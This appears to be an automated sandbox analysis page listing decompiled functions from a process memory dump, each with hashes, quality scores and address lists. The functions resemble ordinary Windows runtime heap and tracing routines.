Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93568d5802789ee7cd6cbee69e974d10ab1ebe95fa012719490896306497e7ec
Instruction ID: bed2360021c10bdf90d3a9f50adf5c84eee47a772efe7510fe41202ff3627145
Opcode Fuzzy Hash: 93568d5802789ee7cd6cbee69e974d10ab1ebe95fa012719490896306497e7ec
Instruction Fuzzy Hash: 44F090B39156949EE731AFD68005B227FF4DB05776F4684E7D405A7102CBA4F880C351

Uniqueness

Uniqueness Score: -1.00%

Function 04BE8D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E04BE8D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x4c0d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E04B37D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x04be8d34
0x04be8d43
0x04be8d4b
0x04be8d4e
0x04be8d52
0x04be8d5c
0x04be8d6e
0x04be8d5e
0x04be8d67
0x04be8d67
0x04be8d79
0x04be8d7a
0x04be8d7c
0x04be8d81
0x04be8d94

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03eeea44de1243a4c4c29075b1308895c51023613784e8ee89426975075c5c13
Instruction ID: d03ea658924d457fd4a6291a69644754a3452f6898f61f817608855893eab87e
Opcode Fuzzy Hash: 03eeea44de1243a4c4c29075b1308895c51023613784e8ee89426975075c5c13
Instruction Fuzzy Hash: 57F09070A04A089FD704EFA9D441B6EB7B8EB48300F108099E905EB290EA34E9009754

Uniqueness

Uniqueness Score: -1.00%

Function 04BD2073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E04BD2073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E04BCFD22(__ecx);
				_t19 =  *0x4c0849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x4c08748; // 0x0
					if(__eflags <= 0) {
						E04BD1C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x4c08724 & 0x00000004;
							if(( *0x4c08724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x4c08724; // 0x0
					return E04BC8DF1(__ebx, 0xc0000374, 0x4c05890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x04bd2076
0x04bd2078
0x04bd207d
0x04bd2083
0x04bd20a4
0x04bd20aa
0x04bd20ac
0x04bd20b7
0x04bd20ba
0x04bd20bc
0x04bd20c9
0x04bd20c9
0x04bd20d0
0x04bd20d2
0x00000000
0x04bd20d2
0x04bd20be
0x04bd20c3
0x04bd20c5
0x04bd20c7
0x00000000
0x00000000
0x04bd20c7
0x04bd20bc
0x04bd20d4
0x04bd2085
0x04bd2085
0x04bd20a3
0x04bd20a3

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f21a8dedd21b9f783e763324e7b34fe577e59e3afbc4d5a5a943c1a7a9f40f42
Instruction ID: 8c8aaff0d85606e67406208d5b67148c963f6303147d7e2a943de35610bbe328
Opcode Fuzzy Hash: f21a8dedd21b9f783e763324e7b34fe577e59e3afbc4d5a5a943c1a7a9f40f42
Instruction Fuzzy Hash: 9BF0A06E4151C44BEF3ABF3961513E12B99D745118B0E54CAE99497608D938ACC3DB28

Uniqueness

Uniqueness Score: -1.00%

Function 04B5927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04B5927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E04B5FA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E04B592C6(_t11, _t14);
				}
				return _t11;
			}

0x04b59295
0x04b59299
0x04b5929f
0x04b592aa
0x04b592ad
0x04b592ae
0x04b592af
0x04b592b0
0x04b592b4
0x04b592bb
0x04b592bb
0x04b592c5

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 6500bdefc59447276c834a309f2e4662f0fff9fd1a964195cc25cc74d932af96
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: 8AE09B723405406BEB119F56DC84F57B76DDF82725F0440B9B9045F252C6F6ED0987A0

Uniqueness

Uniqueness Score: -1.00%

Function 04BE8CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E04BE8CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x4c0d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E04B37D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x04be8ce5
0x04be8ced
0x04be8cf0
0x04be8cfb
0x04be8d0d
0x04be8cfd
0x04be8d06
0x04be8d06
0x04be8d18
0x04be8d19
0x04be8d1b
0x04be8d20
0x04be8d33

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d7613cc22fd00f0b4a2edba926d45b9ad8bd6a7ddff624ee819f2052c32f0e
Instruction ID: 874dced064ee53a595e929e0a3be546b50af0ec0dacc53ea5ad7970562a41d5d
Opcode Fuzzy Hash: 78d7613cc22fd00f0b4a2edba926d45b9ad8bd6a7ddff624ee819f2052c32f0e
Instruction Fuzzy Hash: 3CF082B0A0460CAFDB04EBA9E945E6EB7B8EF48314F1041D9F916EB290EA34F900D754

Uniqueness

Uniqueness Score: -1.00%

Function 04B3746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E04B3746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E04B2EB70(__ecx, 0x4c079a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E04B595D0();
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x04b3746d
0x04b3746d
0x04b3746d
0x04b37471
0x04b37488
0x04b7f92d
0x04b3748e
0x04b37491
0x04b37495
0x04b7f937
0x04b7f93a
0x04b7f94e
0x04b7f953
0x04b7f956
0x04b7f956
0x04b37495
0x00000000
0x04b37488
0x04b37473
0x04b37478
0x04b3747d
0x04b37481
0x00000000
0x04b37481
0x04b3747d
0x04b3747a
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd619274a0c965765c8e338be14f844066fb72e95af9f96fa5ef4eac596b0829
Instruction ID: f3aea9bab0e9c6d484ea9e6eea793a75906624f194bc52bf5dcbd25bf1f640c7
Opcode Fuzzy Hash: cd619274a0c965765c8e338be14f844066fb72e95af9f96fa5ef4eac596b0829
Instruction Fuzzy Hash: B2F0E978600284EADF019B6DC480B79BF71EF04316F0481D5D871A7161FF25F800CB85

Uniqueness

Uniqueness Score: -1.00%

Function 04B14F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B14F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E04BE88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E04B3C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x4af1030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x04b14f2e
0x04b14f34
0x04b14f38
0x04b70b85
0x04b70b85
0x04b70b89
0x04b70b9a
0x04b70b9a
0x04b70b9f
0x00000000
0x04b70b9f
0x04b70b94
0x04b70b98
0x00000000
0x00000000
0x00000000
0x04b70b98
0x04b14f3e
0x04b14f48
0x00000000
0x04b14f6e
0x00000000
0x04b14f70

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ed8a6e93324fe88214cc8870c0e0d9f41e0cc83c7cddeaccd68a07477da618
Instruction ID: 6853740f53dea69a7ff1c8291a3f3c96a10d423c4f6a5474bb1295a3300fedc3
Opcode Fuzzy Hash: 33ed8a6e93324fe88214cc8870c0e0d9f41e0cc83c7cddeaccd68a07477da618
Instruction Fuzzy Hash: FFF0E232529694CFE771EB58C184B22B7E4EB087B8F4544E6D82587B60C724FE44C680

Uniqueness

Uniqueness Score: -1.00%

Function 04BE8B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E04BE8B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x4c0d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E04B37D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x04be8b67
0x04be8b6f
0x04be8b72
0x04be8b7d
0x04be8b8f
0x04be8b7f
0x04be8b88
0x04be8b88
0x04be8b9a
0x04be8b9b
0x04be8b9d
0x04be8ba2
0x04be8bb5

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe6c3b57adc22e10be952d5d1f3a4709324ce9fc38bb8d03f29082a0039c7c0
Instruction ID: 5639f83f3c043ace07b047f2dcf0a3bb802eeeb0d34b8d7128c45038c85f5aa2
Opcode Fuzzy Hash: 8fe6c3b57adc22e10be952d5d1f3a4709324ce9fc38bb8d03f29082a0039c7c0
Instruction Fuzzy Hash: E3F054B0A046589BDB04EBB5D505A7EB3B4EB44304F040499B905DB290EB34E900C794

Uniqueness

Uniqueness Score: -1.00%

Function 04B4A44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B4A44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x4c07b9c; // 0x0
				_t15 = __ecx;
				_t16 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E04B5FA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x04b4a44b
0x04b4a453
0x04b4a472
0x04b4a476
0x00000000
0x04b4a493
0x04b4a47a
0x04b4a47f
0x04b4a486
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1270f24d937129ef247f7b1d1700862ed2bcceb4f284f0912cc84b05b70579
Instruction ID: da79d78ca5355eb5b4bb3c4943e7385af76c4512683b58eb24709775c4a25a5e
Opcode Fuzzy Hash: de1270f24d937129ef247f7b1d1700862ed2bcceb4f284f0912cc84b05b70579
Instruction Fuzzy Hash: 2CE09272A41421ABE2115E58AC40F6AB3ADDBD4655F0A4075E904C7220D628ED02D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 04B1F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E04B1F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E04B4F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L04B34620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x04b1f35d
0x04b1f361
0x04b1f367
0x04b1f372
0x04b1f38c
0x04b1f38c
0x04b1f394

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: a1ea74380398f31c1eea7e22dcde2e893e9c1ce5ce11fe8c4a6ec256d95451df
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 16E0DF32A40118BBDB31AAD9AE05FAABBACDB88B61F1002D5B904D7160D570AE00D6E0

Uniqueness

Uniqueness Score: -1.00%

Function 04B2FF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B2FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x4af11a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E04BE88F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E04B30050(_t14);
				}
			}

0x04b2ff66
0x04b2ff6b
0x00000000
0x04b2ff8f
0x00000000
0x04b2ff8f

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd68c78a06c090309c35ea06d7b2906f4059ae93d6a43ec5fc8520144b419042
Instruction ID: 78ac05a19118888c1e2bc672d9b49edbf8601fe36e689ec24f4047bc4ef5ec86
Opcode Fuzzy Hash: fd68c78a06c090309c35ea06d7b2906f4059ae93d6a43ec5fc8520144b419042
Instruction Fuzzy Hash: 06E09AB020A2189EE734EBA2D270F3537A8FB42625F19809EE80C4B101C621F881E20A

Uniqueness

Uniqueness Score: -1.00%

Function 04BA41E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E04BA41E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x4bf08f0);
				_t5 = E04B6D08C(__ebx, __edi, __esi);
				if( *0x4c087ec == 0) {
					E04B2EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x4c087ec == 0) {
						 *0x4c087f0 = 0x4c087ec;
						 *0x4c087ec = 0x4c087ec;
						 *0x4c087e8 = 0x4c087e4;
						 *0x4c087e4 = 0x4c087e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L04BA4248();
				}
				return E04B6D0D1(_t5);
			}

0x04ba41e8
0x04ba41ea
0x04ba41ef
0x04ba41fb
0x04ba4206
0x04ba420b
0x04ba4216
0x04ba421d
0x04ba4222
0x04ba422c
0x04ba4231
0x04ba4231
0x04ba4236
0x04ba423d
0x04ba423d
0x04ba4247

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b2c92e6df77c0be81f70a3e7380de273837cc5666678da593d03091c7df6dc1
Instruction ID: ae16a68b52e5ca61ef59d7fc438975f70423433d891eff01880bec8c4e9a2f48
Opcode Fuzzy Hash: 6b2c92e6df77c0be81f70a3e7380de273837cc5666678da593d03091c7df6dc1
Instruction Fuzzy Hash: 61F01578921700CFEBA1FFAEA50070436A4F748319F01C5AAA10487298C778A884CF35

Uniqueness

Uniqueness Score: -1.00%

Function 04BCD380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04BCD380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L04B1E8B0(__ecx, _a4, 0xfff);
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x04bcd38a
0x04bcd39b
0x04bcd3b1
0x00000000
0x04bcd3b6
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 83f9e076646295839e5e5b7798cdf550b776098e9665e0e73d523de0705062bc
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: BCE0C235280208FBEB225E44CC00F69BB1ADB807A5F104075FE085A6A0CA75FC91E6C4

Uniqueness

Uniqueness Score: -1.00%

Function 04B4A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B4A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x4c067e4 >= 0xa) {
					if(_t5 < 0x4c06800 || _t5 >= 0x4c06900) {
						return L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E04B30010(0x4c067e0, _t5);
				}
			}

0x04b4a190
0x04b4a1a6
0x04b4a1c2
0x00000000
0x00000000
0x00000000
0x04b4a192
0x04b4a192
0x04b4a19f
0x04b4a19f

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf2a438183468d363d9d723736ec3cc07739660853c0557fac11637881a88b7
Instruction ID: 740f5b4bd1bb6b0b70d7c3fba98cd4b7049e8b9418c1a45a1633a7efb8aeca88
Opcode Fuzzy Hash: 8cf2a438183468d363d9d723736ec3cc07739660853c0557fac11637881a88b7
Instruction Fuzzy Hash: 97D02EA13A00005AF62C6F15A954B213223EBCCB08F308C8CF1030A9E0DEA0FCF0E208

Uniqueness

Uniqueness Score: -1.00%

Function 04B416E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B416E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E04B41710(0x4c067e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L04B34620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x04b416e8
0x04b416ef
0x04b416f3
0x04b416fe
0x00000000
0x04b41700
0x04b4170d
0x04b4170d
0x04b416f2
0x04b416f2
0x04b416f2
0x04b416f2

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfb21bc8484c581e3d06c7d770f6b3e68f46bc26c33fc746282b17dc46f645bb
Instruction ID: 6175a8a619bc9544b390c7c0a072769531492ff9fb28fb7b3c02977cfcbc8777
Opcode Fuzzy Hash: bfb21bc8484c581e3d06c7d770f6b3e68f46bc26c33fc746282b17dc46f645bb
Instruction Fuzzy Hash: F7D0A77120010052FA2D5F1D9808B143252DBC0789F3800DCF107594C0CFB0FCE2F448

Uniqueness

Uniqueness Score: -1.00%

Function 04B953CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B953CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E04B2EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x04b953ca
0x04b953ce
0x04b953d9
0x04b953de
0x04b953e1
0x04b953e1
0x04b953e6
0x04b953f3
0x00000000
0x04b953f8
0x04b953fb

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: a1673a76b6a4dd169baae23bdb367b9fffe52bc5b33d3b0b7c147eca92d4ab0e
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: 55E0EC72944684ABDF23DB59CA94F5EBBF5FB44B40F150494A4096B661C664FD00CB40

Uniqueness

Uniqueness Score: -1.00%

Function 04B435A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B435A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E04B2EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x04b435a1
0x04b435a1
0x04b435a5
0x04b435ab
0x04b435ab
0x04b435b5
0x00000000
0x04b435c1
0x04b435b7

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: b1f4158fcc6451c81dcf292291417196db316b7727c0336bc1a0322ab0fc6337
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: 12D0C9327511849AEB51BB50C25876877F2FB80318F5C30E5984616956C33EAA5AF601

Uniqueness

Uniqueness Score: -1.00%

Function 04B2AAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B2AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x04b2aab6
0x04b2aabb
0x04b7a442
0x00000000
0x04b7a448
0x04b7a454
0x04b7a454
0x04b2aac1
0x04b2aac1
0x04b2aac6
0x04b2aac6

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

